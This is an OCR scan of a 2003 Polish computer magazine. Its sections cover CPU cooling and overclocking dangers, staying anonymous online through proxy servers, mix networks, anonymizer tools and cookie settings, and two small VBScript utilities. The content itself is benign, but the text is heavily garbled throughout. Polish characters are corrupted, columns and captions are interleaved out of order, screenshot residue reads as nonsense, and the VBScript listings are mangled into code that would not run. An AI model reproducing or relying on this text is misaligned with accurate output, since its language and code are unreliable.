niem tego proble-
mu moze by¢ za-
montowanie cich-
szego wiatraka na
dostarczanym
przez te firmy ra-
diatorze lub uzycia
regulatora obrotow
(na przyktad
FanMate firmy

majgcego miedziany rdzen. Miedz
ma wiekszg przewodno$¢ tempera-
turowg i szybciej odprowadzi z ma-
tej powierzchni jadra nagromadzone
ciepto. Radiatory aluminiowe mogq
sobie z tym nie poradzi¢, co moze
by¢ przyczyng zawieszania sie pe-
ceta lub przegrzania procesora.
Wentylator zaktadany na radiator
powinien by¢ bardzo wydajny. Musi
przepompowywac na radiator jak
najwiecej powietrza w jak najkrot-
szym czasie. Najczesciej jednak

Zalman).

Gdy juz mamy
wydajny cooler, musimy zadba¢
0 dobrg cyrkulacje powietrza
w obudowie komputera. Jezeli na-
grzane powietrze odprowadzone
Z procesora zatrzymane zostanie
w obudowie, to po pewnym czasie
wentylator zacznie je z powrotem
witaczac na radiator. Teoretycznie
nagrzane powietrze powinien wy-
pychaé na zewnatrz wentylator
w zasilaczu. Jednak w okoliczno-
Sciach zwiekszonego wydzielania
ciepta przez procesor moze okaza¢
sie on mafo wydaj-

Chiodzenie wodne

ﬂ ny. Wyjsciem z sy-

domo woda jest raczej wrogiem
komputera), ale zbudowanie lub
kupienie szczelnego uktadu do
chtodzenia wodnego pozwoli
nam schtodzi¢ prawie bezgtosnie
nie tylko procesor, ale i karte gra-
ficzng oraz chipset ptyty gtéwnej.
Niestety, koszt takiego uktadu
chtodzenia jest dos¢ wysoki (kil-
kaset ztotych), a caty zestaw ra-
czej nie zmiesci sig wewnatrz
obudowy komputera.

Zestaw do testu dostarczyta firma
MCS, tel. (022) 7225468.

N awet jezeli zainstalujemy tylko wysokoobrotowy wentylator na proce-
sorze, praca na pececie moze sta¢ sie meczaca z powodu wytwarza-
nego hatasu. Rozwigzaniem bywa chtodzenie wodne. Moze nie brzmi to
zbyt zachecajgco (gdyz jak wia-

tuacji jest dodatko-
wy wentylator mon-
towany w obudowie
pod zasilaczem

CZERWIEC - LIPIEC 2003 [0 aaa]

(wigkszo$¢ obudow
ma punkty monta-
zowe). Oczywiscie
nalezy pamietac,
zeby wydmuchiwat
on powietrze na ze-
wnatrz komputera.
Wazne jest tak-
ze, zeby wsrod ka-
bli wewnatrz obu-
dowy panowat po-
rzadek. Najtatwiej-
Szym, a zarazem

Trudne terminy )

» BIOS - program zapisany w pamieci ROM peceta. Po wtaczeniu kompu-
tera testuje wszystkie podzespoty. Ma wbudowany program setup stuzacy do
konfiguracji réznych zintegrowanych z ptyta gtowng komponentéw.

» mnoznik - zapisana w procesorze wartos¢, ktorej iloczyn z szybkoscig
taktowania FSB daje predkosc procesora. W Athlonach XP wartos¢ mnoznika
mozna zmienia¢ w odréznieniu od procesordw Intela.

» rdzen Procesora - struktury procesora w obrebie jednego modelu. Na
przyktad: Athlon XP moze by¢ zbudowany na rdzeniu Palomino, Thoroughbred

lub Barton.

» Szyna FSB - magistrala, przez ktdrg komunikujg sie komponenty PC. Jgj
taktowanie ma wptyw na szybkos¢ innych magistral jak PCl czy AGP.

»

[] Zimne powietrze jest zasysane przez otwory w przedniej $ciance obudowy
[] Podgrzewane przez procesor, karte graficzng i chipset plyty gtéwnej powietrze staje
sie lzejsze i unosi sie [ ] Okolice zasilacza to najgoretsze miejsce w pececie. Wiatrak

Wwyrzuca gorace powietrze na zewnatrz

najskuteczniejszym sposobem
uporzadkowania jest spiecie ich
za pomoca plastikowych opasek
zaciskowych. Dodatkowo mozemy
wymieni¢ tasmy do dyskow twar-
dych i do stacji dyskietek na
okragte kable. Zwro¢my uwage,
aby wlot powietrza znajdujgcy sie
Z przodu obudowy nie byt niczym
zastoniety. Mozemy tam takze za-
montowa¢ dodatkowy wentylator,
tym razem wttaczajacy chtodne
powietrze do $rodka komputera.

Niebezpieczeristwa
overclockingu

Jezeli zdecydujemy sie podkre-
ci¢ nasz komputer, musimy by¢
Swiadomi niebezpieczenstw, jakie
Qrozg naszemu pecetowi.

Po pierwsze mozemy uszkodzi¢
termicznie ktory$ z komponentow
peceta. Najczesciej jest to proce-
sor, ktory wytwarza wigcej ciepfa,
niz jest w stanie odprowadzi¢
cooler. Moze sig takze przegrza¢
chipset ptyty gtownej lub pamieci.

Nastepne niebezpieczenstwo to
mozliwo$¢ uszkodzenia zasilacza.

W ekstremalnych przypadkach mo-
ze dojS¢ do nadmiernego poboru
pradu przez plyte gtéwna, co moze
przecigzy¢ zasilacz. Moze on takze
ulec przegrzaniu, gdyz oprocz tego,
7€ PIZEpOMpOWUje przez swoje
wnetrze cafe nagrzane powietrze

z komputera, to elementy w nim
zawarte rowniez wytwarzajg niemate
ilosci ciepta.

Przy podkrecaniu moze takze
dojs¢ do utraty danych na dysku
twardym lub uszkodzenia kart mon-
towanych do zigcz PCI lub AGP Po-
wodem tego jest przetaktowanie
tych magistral — kontroler IDE takze
jest podtaczony do szyny PCl.  JK m

arto zajrzec...

Adresy WWW:

[ www.mcs.pc.pl

] www.tweak.pl

[] www.dzikie.net

[ www.moded-kompz.pl
[] www.overclockers.pl
[} www.4max.com.pl

[} www.discotech.waw.pl
[] www.pc-tuning.pl

[ www.pccooler.pl
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Incognito
w sieci

Ukryci za ekranem

ra przeglad

nam sie, Zze jestesmy bez-

pieczni. Tymczasem pozo-
stawiamy po sobie v
necie mnéstwo sladéw
Ekspert pokaze, jak je

zatrzec

anuje powszechna opi-

nia, ze korzystajac z za-

sobow internetu, pozo-
stajemy catkowicie anonimowi. Nie-
stety, doSwiadczenie pokazuje, ze
jest to jedynie ztudzenie. Ogladajac
strony WWW, wysytajac poczte czy
tez rozmawiajac za pomocg komuni-
katora, pozostawiamy po sobie wiele
Sladow. Wpisy w logach serwerow
g fakomym kaskiem dla potencjal-
nych wtamywaczy. Powszechnie
wiadomo réwniez, ze firmy zajmujg-
ce sie reklamg internetowg wymie-
niajg miedzy sobg dane na temat in-
ternautéw i ich preferencji. Ekspert
pokaze, jak zeglowac po internecie
i pozosta¢ anonimowym.

Serwery proxy

Proxy w jezyku angielskim ozna-
cza petnomocnika. Systemy te po-
Sredniczg w komunikacji migdzy
uzytkownikiem a na przyktad serwe-
rem FTP czy WWW. Zapewniajg pry-
watnos¢ dzieki ukrywaniu naszego
adresu IP Warto jednak wiedzie¢, ze
nie wszystkie proxy posiadajg funk-
cje maskowania adresu. Niektore
z nich sg tak zwanymi serwerami
cache. Ich dziatanie polega jedynie
na kolekcjonowaniu zawartosci stron
odwiedzonych przez uzytkownikow
w celu przyspieszenia ich wySwiet-
lania dla kolejnych internautow.
Podczas surfowania z posrednic-
twem anonimowego serwera proxy
nasz adres zostaje zastgpiony adre-
sem tego wiasnie serwera.

Znalezienie dobrego serwera
ukrywajgcego nasz adres nie jest fa-
twe, a nawet jezeli sie uda, to serwer
moze szybko przesta¢ dziataé. Eks-
pert pokaze, jak skonfigurowac prze-
gladarke do korzystania z serwera
w3cache.icm.edu.pl Pamigtajmy
jednak, ze nie jest on w pefni anoni-
mowy (nie ukrywa zmiennej
$HTTP_X_FORWARDED_FOR - patrz
ramka na stronie 64).

1. W Intemnet Explorerze z menu
wybieramy @, a nastgpnie @--------

Bk Edcs Wik Ukbirn | Namgdss  Pomog
- BER-

[Bocsta | gupy ditunne
Syredwerany

‘findowws Updare
Lanch Copmins: Agend
Pkt bacza polrewns
Hrsrhy unlivmreran s Wels

o Welecr v+ -

2. Przechodzimy na zakladke @
i w zaleznoSci od uzywanego przez
nas sposobu t3czenia sie z siecig

niczne i SDI) lub @ (facza stafe).

N LN
-

POZIOM LATWY

Mix-serwery

procz serweréw proxy istniejg

inne systemy zapewniajgce ano-
nimowosc¢, na przyktad tak zwane mix
serwery. Sg to sieci komputeréw prze-
kazujgcych miedzy sobg ruch interne-
towy, szyfrujgc go i zmieniajac kolej-
nos¢ pakietow. Przyktadem moze byc¢
projekt JAP Anonimity&Pivacy. Korzy-
stanie z tego systemu jest bezptatne,
musimy jednak zainstalowac na kom-
puterze specjalnego klienta. Program
dostepny jest pod adresem:
http://anon.inf.tu-dresden.de/
win/jap_swing/setup.exe

1. Instalacja aplikacji jest bardzo pro-
sta. Wybieramy jedynie jezyk (niestety
nie ma polskiej wersji), katalog, w kto-
rym ma by¢ zainstalowany program

i grupe w menu startowym. Po uru-
chomieniu klient taczy sie z mix-ser-
werem. Po chwili na ekranie widzimy

3. Zazmaczamy opcje ®. W polu
@ Wpisujemy nazwe serwera po- |

Sredniczacego,

‘Whaiciwoici: Internet 2l x| Wpl’zykf&lee
postve | Zhbemecsia | Fybnoié | Zwatcié | b \y3cache jom edu.pl
P> Fuoky I Programy Z00WaN3oWanG

R e

B khkenij pryeisk |lstawienia

- e 0d tego mo-

wiybeere prapcisk, Uslawiersa. jesh muste
skonfiguimwar seawen presy dla pokarzeni

Inej zieri prowaing]

mentu adres IP na-
szego komputera
jest niewidoczny

Dodai.., |

" Higdy ric wybierai potczeria
 \wihier? 7a kardy kirrly i

dla odwiedzanych

| Zanses wykioici potucennss domydng
Biezgce dompsine: TP S4
™ Swamlé ooz I

ST IATEI

przez nas stron.
Aby wytaczy¢ potg-

Ustawieria sieci lokalne [LAM]

CZenie przez proxy,

Ustawicnia sicci LAN nic 2 stosowane dla
potaczen telefonicznych. Dla tego typu
pukguzed wybieiz peyisk Uslawienia
vy

Uslawieria sieci LAN...

wystarczy usungc
zaznaczenie

Z opisywanej opcji.

e e

niepotrzebne s3 zadne modyfikacje
ustawien programu.

1
1
1
!
E— 0|
*P Anonymity & Privacy H
ot S :
P il FRERT i
= — g |1
B Y
=
|
R d
Anors verres Breaden herrden
5 oot et T —
Wt 1 (= T—

2 = Zmieniamy jeszcze ustawienia
przegladarki. W oknie z punktu 3 na
tej stronie wpisujemy , i @.

| Serwet peowy

P s, e b 4

Ly ETECICEY

e e ol |
X J

I~ Houtmai -*uma-m *ya-
:

____________ 1

A

Ghost Surf trial
AntiFirewall demo

Steganos Internet
Privacy trial

Anonymizer
Toolbar freeware

MultiProxy freeware
PowerGG freeware

—Saewiar prosy

dsi Ele

sheerwians rla innpreh pkarzed]

[ | Njeuiwﬁmapmwdaadew*m

iA rie herla

_Pm wicacheicmedupl ~ Pab [B020 7 AAWANATINANR. |

oraz port 8080 @---- Dodatkowe

oprogramowanie

Znalezienie dziatajgcych, w petni
anonimowych serwerow proxy jest
trudnym zadaniem. Poszukiwania
mozemy sobie ufatwi¢, uzywajac
specjalnego oprogramowania. Jedng
z interesujacych aplikaciji jest Multi-
proxy. Ma ona dwie zasadnicze zale-
ty: jest niewielka i prosta w obstu-
dze. Plik do pobrania znajdziemy na

BT CZERWIEC -

O

LIPIEC 2003 B2



PORADY JAK POZOSTAC ANONIMOWYM W INTERNECIE

stronie aplikacji — www.multipro-
xy.org/downloads.htm

Po rozpakowaniu program zapyta
nas, gdzie umiesci¢ swoje pliki.
Mozna zaakceptowac domysing lo-
kalizacje. Dziatanie aplikacji polega
na testowaniu bezpieczenstwa ser-
Werow proxy, ktorych adresy podaje-
my w pliku tekstowym oraz obstudze
naszych potgczen. Pierwsza czyn-
nos¢, ktdrg powinnismy wykonac po
zainstalowaniu programu, to $cigg-
niecie ze strony producenta zaktuali-
zowanego pliku adresow. Jest on
dostepny pod adresem www.multi-
proxy.org/anon_proxy.htm Pobrany
plik zapisujemy na dysku kompute-
ra, najlepiej w katalogu programu,
a nastepnie importujemy do progra-
mu nowg liste i testujemy serwery.

1. Klikamy na przycisk
i przechodzimy na zaktadke z lista

SBIWETOW PrOXy — [Proxy servers list],

2. Klikamy w oknie prawym przy-
ciskiem myszy i z menu konteksto-
Wego wybieramy opcje @, a nastep-
nie @. Wybieramy $ciggniety przez
nas plik i akceptujemy wybor.

W gfownym oknie programu pojawia
Sie nowa lista serweréw. Aby mac

Z nich skorzystac, trzeba je najpierw
przetestowac.

Fioxy kst

I tastest...

0d tego momentu caty ruch in-
ternetowy (WWW i FTP) bedzie kie-
rowany przez serwer posredniczacy.
Moze sig jednak zdarzy¢, ze zamiast
oczekiwanej strony zobaczymy zu-
petnie inna. Dzieje sig tak dlatego,
e wigkszo$¢ serwerow proxy bloku-
je ruch do okreslonych hostow lub
nawet catych domen. Moze to na
przyktad dotyczy¢ wszystkich pol-
skich domen i w takim przypadku
nie zobaczymy zadnej strony z adre-
sem 0 koncowee .pl Jezeli napotka-
my taki problem, musimy zmieni¢
w konfiguraciji programu aktywny
Serwer.

1. W oknie gtownym aplikacji kli-
kamy na przycisk [Dgfiers.] a na-
stepnie przechodzimy na zaktadke

Prosy zervers list|,

i

Anonimowo nie dla Policji

N alezy pamietac e, nigdy nie po-
zostaniemy catkowicie anonimo-
wi. Nawet jesli nie mamy statego ad-
resu IP zawsze istnigje mozliwos¢ na-
mierzenia nas. Jezeli zajdzie taka po-
trzeba, informacje na temat osoby,
ktorej w danym momencie zostat
przyznany konkretny adres IP mozna
uzyskac od dostawcow internetowych
(na przyktad TP SA czy Netia).

Walad do tych danych ma miedzy in-
nymi Policja. Zwrdci¢ o nie moga sie

z dysku. Jednak w domysinej kon-
figuraciji przegladarki nie mamy
nad ciasteczkami zadnej kontroli
i kazdy serwis moze zostawi¢ na
naszym dysku swojg wizytowke.
Aby uczyni¢ nasze surfowanie bez-
pieczniejszym i bardziej anonimo-

[ x|
Genersloptions  Preoy ssrvers et | Advanced options |
= | hiost name | port_| 1P address ping | wor... anon | sfes | ]
® ;21021223 80 20210812238 1% no om0 O
® E111%10 80 11126150 2190 pes [
L ] % 80 i]
@ x J 20299.225.45 yaz [i]
8 o Dbde \hek 0 guistater 206 no om0
® 21 Testanonmiy 80 2123813212 6615 yes yes O
8 sty B0 2004670382 %Eh yes ses O
@ 21| Tocelobewaldl | 3158 sozie3i4t 29084 e om0 D
® = g B im0 28k ym w0
>® b EGi 80 211.0.70.226 5028 yee yes O
® 5 pas B BLM2IE38  ZHE ves ves O
® x - 80 20315517260 8720 yes wes O
® x Hoghkt s 80 2021102418 1% no o O
® w b= k an 210.2526.2 122:44 yez  pes 0
- Find Fastest.. on LILELIEYLEE ST ) S —— n ﬂ
Marw - | {28 wac nght mousc button bo acocss monu) !
oK Arihs | et |

3. Aby rozpoczaé test, Klikamy na
przycisk @. Testowanie, szczegalnie

w przypadku duzej listy i wolnego

facza, moze zabra¢ okoto 10 minut.
Serwery, ktore w tescie wypadty po-
zytywnie, zostajg oznaczone ziglong

kropkg @ i posortowane wedfug

szybko$ci potgczenia.

------- al

|7 MultiProgy v1.

Dl Proylst Help

2a

yaeeaes (17166

4. Program MultiProxy przechwy-
tuje wszystkie zapytania internetowe
Znaszego komputera i automatycz-
nie przekierowuje je do jednego
z serwerOw proxy. Nalezy jeszcze
skonfigurowac przegladarke, aby
korzystata z tej funkcji .

Powtarzamy kroki | — 3 czesci
Serwery proxy, a nastepnie w polu @-+
wpisujemy @, czyli nazwe naszego

komputera (localhost) oraz port

2. Kiikamy na nazwe jednego
Z serwerdw 0znaczonego jako aktyw-

réwniez osoby posiadajgce w tym in-
teres prawny, na przyktad administra-
torzy systemow, ktorych bezpieczen-
stwo zostato naruszone.

W przypadku uzywania serwera proxy,
w dzienniku systemu pozostaje wpis
o adresie |P tczacego sie klienta, na
podstawie ktorego mozna ustali¢ jego
tozsamosc. Regulacje prawne wigk-
szosci krajow wymagaja, aby tego ro-
dzaju wpisy byty przechowywane
przez okreslony czas.

wym, wystarczy zmodyfikowa¢
ustawienia naszej przegladarki in-
ternetowej.

1. Otwieramy okno opcji interneto-
wych przegladarki. Na zaktadce
Klikamy na przycisk
[Zaswansowane. |,

2. Zaznaczamy opcje 0 oraz
przetaczamy w obu przypadkach re-

Dzieki takim ustawieniom za kaz-
dym razem, gdy strona WWW be-
dzie starata sie zapisa¢ na naszym
dysku ciasteczko, przegladarka za-

e
o o o o b S e o
chones ra b ekt

=

E—mn.';:] akuiplicocin | on iy | Pomes |

Decyzja pozostaje w naszych re-
kach, wiec bedziemy mogli zezwoli¢
czesto odwiedzanym serwisom, kto-

cookie,

Kontrola nad cookies

Nie sposab zaprzeczy¢, ze
w niektorych przypadkach funkcje
cookies bardzo sie przydaja. Dzigki
nim nie musimy podawac naszych
danych podczas kazdej wizyty
w wielu serwisach, poniewaz sg
one automatycznie odczytywane

@spert radzi |

Zaawansowane ustawienia prpwatnosci

28

 Pliki cookie

Mozesz wybrad spozdb obstugi plikdw cookie w strefie
internetowe]. Zastepuie to automatyczng obshuge plikdw

2]

v Zastap automatyczng obshuge plikow cookie

Fliki cookie tej samej firmy
' Zaakcephyj
" Zabloku

P+ Waribuj

[ Zawsze zezwalaj na pliki coé&ie dotyczace sesj

Fliki cookie innpch firm
" Zaakceptuj

{~ Zablokuj

&+ Monituj

o]

Anluj |

arto zaznaczy¢ opcje 6

Dzieki temu potaczenia lo-
kalne nie beda przechodzity przez
serwer proxy — nie stracimy wtedy
na wydajnosci w sieci LAN.

@-”roxy - czy w petni skuteczne? |

3czenie sie przez serwer proxy nie zawsze gwarantuje, ze

nasz adres zostanie ukryty. Standardowo wigkszos¢ serwe-
row tego typu ukrywa zmienng $REMOTE_ADDR, przechowujacg
adres taczacego sie ze strong. Jednak czesto mozliwe pozostaje

— Senwer prosy

2 potaczen telefoniczhpch ub YPM).

2w semwera prosy dla sieci LAN [te ustawienia nie 25

Adres: IIocthost

8088 ®.

Fort:

> Mie uzywa] sell*vera pro=y dla adresow Iok“nych
i 1

B
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odczytanie innej zmiennej: SHTTP_X_FORWARDED_FOR, prze-
chowuijacej adres klienta. Wigkszos¢ serwerdw posredniczacych
nie ukrywa tej wartosci. Aby sprawdzic, czy uzywane przez nas
proxy jest w petni anonimowe, wystarczy udac sie pod adres
www.it-fag.pl/tools/proxy.asp Jezeli skrypt poda nasz adres IP,
oznacza to, ze serwer nie jest poprawnie skonfigurowany, a nasza
anonimowosc¢ jest tylko czesciowa.




o ey e, 1 uris’ 5| @) Trudne terminy
czenie informacji na naszym dysku. | |
Szvbko zauwazym Y iak wiele stron Potaczenia Frogramy ZaaWansowane ) )
y ymy, | > Ogdlne e —— I e — | P wartose » ISP ang. Internet Service Provider, - Dostawca Interneto-

jest zainteresowanych pozostawie-
niem $ladu w naszym pececie.

3. Kolejnym krokiem, jaki po-
winnismy wykonac, jest usuniecie
z naszego dysku zapisanych juz na
nim ciasteczek. W tym celu po-
nownie otwieramy okno opcji in-

— Strona ghowna

strona ghdwna.

Mozesz zmienic, kidra strona ma by uzwwana jako Twoja

Odres:

Ihllp: Ao, gangle. pli

LIy biezgce | LIz domypslne

U2y puste|

— Tymczazsowe pliki internetowe

e\

Anonimizery

Anonimizery to specjalne apli-
kacje instalowane na naszym kom-
puterze, spetniajgce podobne
funkcje, jak opisane wezesniej
serwery proxy. Metoda dziatania
anonimizerow jest zreszta podob-
na: programy te zazwyczaj auto-
matyzujg potaczenie naszego
komputera z serwerami posredni-
Cczacymi, wyreczajac nas z ko-

Obejrzane strony internetowe 53 przechowywane w
specialnym folderze, umozlivwiajgcym przejrzenie ich poZnie),

3 Uz pliki cookig...l Usur pliki.... | {Ustawie

niecznosci konfiguracii przegla-
darki. Oprocz tego majg czesto
dodatkowe funkcje, takie jak szy-
frowanie transmisji, blokowanie
potencjalnie zfosliwych skryptow,
czy tez blokowanie cookies. Do-
datkowo wiele aplikacji tego typu
potrafi wyszukiwa¢ w internecie
dostepne w danym momencie ser-

<

U zytkownicy tego komunikatora
zostali niedawno poinformowani,
e powinni zmieni¢ swoje hasta do

Prywatnos¢ w Gadu-Gadu T

2. Przechodzimy do konfiguracji

_____________ b

potaczenia @, zaznaczamy opcje @

s ! i klikamy na przycisk @=====-=--- 1
serwisu. Spowodowane i i
to byto wtamaniem do S | |
serwera komunikacyjne- i | |25t L Eulison
go i ich kradzieza. Nie- ovcrbs Radesjpedatntin

stety, nie jest to jedyna
niemita informacja dla
0s6b uzywajacych tego
komunikatora. Rowniez
nasz adres IP nie jest
chroniony podczas inter-
netowych rozmaéw.

1™ Potgczere DIALUP [no. moden)
=] i
¥ Polgcoane itabe ro. LAN)

Fromy:
1* Bos prosy.

7 \Wharme ustewserss prowy. |

[ ——

wery proxy oraz doktadnie ustalac
pOZiom anonimowosci.

Jednym z najbardziej znanych
narzedzi stuzacych ochronie naszej
prywatno$ci jest Anonimizer Priva-
cy Surfing. Program ten jest ptat-
ny, mozemy jednak pobra¢ jego
wersje darmowg. Oferuje on duzy
poziom anonimowos$ci, musimy
sie jednak liczy¢ z tym, ze dostep
do niektorych popularnych serwi-
sow bedzie niemozliwy. Takich
ograniczen nie ma wersja petna
aplikacji. Koszt roczny korzystania
Z programu i wspotpracujgcego
Z nim serwisu wynosi okoto
120 ztotych.

L)

wy. Firma, za posrednictwem ktorej uzyskujemy dostep do
internetu za pomocg modemu lub urzadzen takich jak SDI.
Do dostawcow internetowych nalezg miedzy innymi TP, Ne-
tia, telewizje kablowe.

» Iog - dziennik systemu serwerowego, gromadzacy dane
dotyczace jego pracy. W dziennikach serweréw WWW
umieszczane s3 czesto takie dane, jak adres IP osoby odwie-
dzajacej strone czy tez wersja przegladarki.

»» SErwWer proxy - komputer posredniczacy miedzy nasza
przegladarka a ogladang strong WWW czy tez serwerem
FTP. Proxy potrafi zablokowa¢ wiele informacji standardowo
przekazywanych podczas komunikacji w internecie. Czesto
wyposazony jest w mechanizmy buforowania stron WWW,
stuzace ich szybszemu wyswietlaniu.

» tracking - ang. sledzenie - techniki majace na celu sle-
dzenie dziatan uzytkownikéw w sieci, miedzy innymi za po-
mocg analizy zmiennych czy plikéw cookies. Firmy zajmujace
sie sledzeniem ruchu internetowego czesto wymieniajg sie
miedzy sobg zgromadzonymi danymi.

» zmienne $rodowiskowe - porcje informacji, ktére
moga by¢ wymieniane pomiedzy naszg przegladarkg a ser-
werami w sieci. Czesto zawierajg informacje utatwiajgce usta-
lenie naszej tozsamosci.

Warto zajrze¢...

Adresy WWW:

o www.inf.tu-dresden.de/~hf2/anon
® www.cyberion.pl/?page=vhosty
www.junkbusters.com
http://napierala.org/test/
http://tools-on.net

vd OFF - Microsoft Internet Explorer

=10l x]
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Mozna go zdoby¢ uzywajac na przy-

Ekspert ma jednak réwniez dobra wia- |

1
domos¢: nasz adres da sie mimo i
1
wszystko ukry¢. Podob- !

3.w okienku, ktore pojawi sig na

na 705 @, a nastepnie zaznaczamy
opcje @. W polu definiujgcym ze-

oo

nie jak w przypadku sur- Potaczenia bezposrednie x|
fowania wykorzystamy 3 i

do tego specjalne ser- Lokaky pot TCP: 704 i
wery proxy. Ich liste o e 1 Anuiky |
znajdziemy na przyktad - S |—21212?.83.54

pod adresem www.cy- A Dom<ne
berion.pl/?page=vhosty Zewnglrzny port TCR: [1530 ]

Aby skonfigurowat¢ Ga-

du-Gadu, do korzystania
z potaczenia maskowanego musimy
wykona¢ nastepujgce kroki:

__________ ap
wnetrzny adres IP wpisujemy adres
wybranego ze strony serwera (dla
przyktadu Ekspert wybrat adres

1. Zmenu Gadu-Gadu wybieramy

Gadu-Gadu iiowerﬁﬁ

Po tych zmianach nasz adres IP nie
bedzie juz taki tatwy do poznania
dla potencjalnego intruza.

A
Darmowg wersje aplikacji moze-
my pobraé z serwera producenta
(www.anonymizer.com/download.
html). Instalacja sprowadza sie do
uruchomienia pobranego pliku.
Przed jej rozpoczeciem nalezy jed-
nak zamkng¢ wszystkie okna Internet
Explorera.
Po zainstalowaniu programu
i uruchomieniu przegladarki na pas-
ku przyciskow zobaczymy

Pozwalajg one wigczy¢ i wytaczy¢
ochrone, niestety nie mozemy zmie-
nic jej poziomu.

W wersji darmowej Anonimizera
ukrywany jest nasz adres IP adres
ostatnio odwiedzonej strony, wersja
naszego systemu operacyjnego
i przegladarki oraz zwigkszone jest
bezpieczenstwo plikéw cookie (s
one kasowane po zamknieciu prze-
gladarki). Po zakupie ptatnej wersji
uzyskamy dodatkowo szyfrowanie
catej sesji, kodowanie adresow in-
ternetowych, filtrowanie banerow
reklamowych oraz ukrywanie tytutow
stron w historii przegladarki. TN m

i

Anonimowy mail

internecie mozna znalez¢ serwisy, ktore umozli-

wiajg wystanie poczty elektronicznej, ukrywajac
jednoczesnie adres nadawcy. Co wiecej, korzystajac z ta-
kiego serwisu, mozna uzy¢ dowolnego adresu nadawcy.
Zdaniem Eksperta jednak, tego typu narzedzia niewiele
majg wspolnego z ochrong naszej prywatnosci. Uzywane
sq raczej do wysytania spamu, a najczesciej do robienia
gtupich kawatéw innym osobom.

Zmienne srodowiskowe

Podczas naszego zdawatoby sie anonimowego surfo-

wania po sieci ujawniamy tak naprawde wiele istotnych

informacji. Ekspert prezentuje niektdre z nich. Dane za-

warte sg w tak zwanych zmiennych srodowiskowych

przekazywanych przez nasza przegladarke w momencie

taczenia sie z serwerem WWW.

REMOTE_ADDR - adres taczaceqo sig z serwerem
komputera

REMOTE_HOST - nazwa serwera DNS taczacego sie
komputera

REMOTE_USER - nazwa uzytkownika ogladajacego
strong

HTTP_USER_AGENT - wersja przegladarki klienta

HTTP_REFERER - adres strony, z ktorej weszlismy na
ogladang witryne

HTTP_ACCEPT_LANGUAGE - jezyk akceptowany
przez nasza przegladarke
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kompletne kody
irédiowe

S kryptowy jezyk VBS, dzigki
mozliwosci wykonywania
operacji na plikach, folderach i Re-
jestrze systemowym, mozna wyko-
rzysta¢ do wykonania niewielkich
programow usprawniajgcych prace
w systemie Windows. Ekspert poka-
zuje skrypt utatwiajacy codzienng
archiwizacje plikow. Przedstawia tez
skrypt, ktory dopisany do kodu
HTML strony internetowe] umozliwi
otwarcie linku do pliku XLS bezpo-
Srednio w Excelu (skrypty VBS ob-
stuguje tylko Internet Explorer).

Dopisywanie aktualnej
daty do nazwy pliku

Napiszmy skrypt utatwiajacy
archiwizacje. Przeciggajac dowolny
plik na jego ikone, spowodujemy
dopisanie do nazwy tego pliku aktu-
alnej daty.

VBS (Visual Basic Scripting)

1. Tworzymy plik tekstowy i zapi-
sujemy go pod nazwg [DedaDate.vbd .

2. Uzywajac instrukcji [Set,
I metody wykorzystamy w naszym
1 skrypcie.

3.7 pomoca polecenia
[Wscript.Arguments.Count]|

i sprawdzamy, czy istnigje argument

1 (czyli Sciezka i nazwa pliku, do kto-

i rego nazwy choemy dopisac aktual-

___E ng date) i wezytujemy go, a nastep-

nie przepisujemy do zmiennej

PoczatkowaNazwa|,

4. Wykorzystujac instrukcje wa-
_1unkowg ¢, sprawdzamy czy dany
plik istnieje, a w przypadku jego
braku wyswietlamy odpowiedni

komunikat.

|| Set WshShell
Set fs

If Wscript.Arguments.Count =

PoczatkowaMazuwa = Wscript.Arguments(8)

fIF not fs.FileExists(PoczatkowaNazwa) then)

i MsgBox "Plik nie istnieje™
" Wscript.quit
\End If

AktualnabData
right{"a"

set Plik = fs.GetFile{PoczatkowaNazwa)
Katalog = Plik.ParentFolder

if right{Katalog,1)<>"\" then back="\"
KoncowaHazwa

Aktualnabata + ™.

MsgBox "Zmieniono nazwe pliku na

Wscript.CreateObject{Wscript.Shell")
Createdbject{"Scripting.FileSystemdbject™)

8 Then Wscript.quit

" & right("8" & day(date{}),2) & "-" &
& month({date(}))},2) & "-"

Katalog + back + fs.GetBaseName(PoczatkowaMazwa) +
+ fs._GetExtensionMName(PoczatkowaMdazwa)

" & KoncowaMNazwa

& year{date())

2

If fs.FileExists{KoncowaMazwa) then
MsgBox “Plik ™

WUscript.quit

& CHR{34) & KoncowaMazwa & CHR(34) &
"juz istnieje i nie zostanie zastapiony.”

N

Programowanie
w prakiyce

5. Pobieramy aktuaing date, for-
matujemy jg i przypisujemy do

Zmienne] [AktuaTnabata

Teraz, klikajgc prawym przyciskiem
myszy na pliku, spowodujemy za-
dziafanie skryptu i dopisanie do
pliku aktualnej daty (skorzystamy
z polecen [iwdlida ¥ ana-
stepnie [B] DadaiDate.vbs]).

Otwieranie linkéw do
plikéw XLS w Excelu

Po kliknigciu na odno$nik do pli-
ku XLS na stronie WWW otwierany
jest on w oknie przegladarki. Stosu-
jac skrypt VBS wewnatrz kodu
HTML naszej strony mozemy otwo-
rzy¢ go od razu w Excelu.

1. Tworzymy procedure ¢ , kiora

uruchomi sie w momencie nacisnie-
cia przycisku i wywo-
ta procedurg [0tworzsLS ()],
przekazujgc jej adres i nazwe
wskazanego pliku XLS.

Dim objExcel

<SCRIPT LANGUAGE=VBScript:

’Sub Przycisk1_onclick({)}

End Sub

call OtworzXLS{"www.strona.pliplik.x1s")

Set objExcel
objExcel .Visible

objExcel .UserControl
End 3ub

</SCRIPT>

Sub DtworzXLS{strAdresxLs)

CreateObject("Excel.Aapplication’ }=g
true
objExcel .Workbooks .Open strAdresXlLS

true

6. Z odpowiednio sformatowa-

2. Tworzymy obiekt za pomoca

nych zmiennych [PeczatkowaNazua

[Excel.application | dzieki kto-

i tworzymy Sciez-
ke i nazwe pliku z dodang aktualng
datg. Cafo$¢ umieszczamy

W zmiennej [KoncowaNazua],
7. Poleceniem infor-

mujemy 0 zmianie nazwy pliku.

8. Pozostato juz jedynie spraw-
dzenie, czy nowo utworzona nazwa
pliku nie pokrywa sie z juz istnieja-
g e (jesli tak jest, wySwietlamy
stosowny komunikat). Ostatnim po-
leceniem jest zmiana poczatkowe;

nazwy pliku na nowg e .

9. Aby dodatkowo usprawnié
czynno$¢ automatycznego dodawa-
nia aktualnej daty do nazwy wybra-

nego pliku, mozemy skrypt umie-

N

fs._.HoveFile PoczatkowaMazwa, KoncowaMazwa

<

$ci¢ w folderze [ sendTo |, znajdu-
jacym sie w katalogu [ Windaws |,

-

remu bedziemy mogli z zewngtrz
uruchomic aplikacje Excel i otwo-
rzy¢ plik o , ktorego adres zostat
przekazany do procedury
([otworzxLS()]) w zmiennej
[stradressLs].

3. Obie procedury umieszczamy
migdzy znacznikami

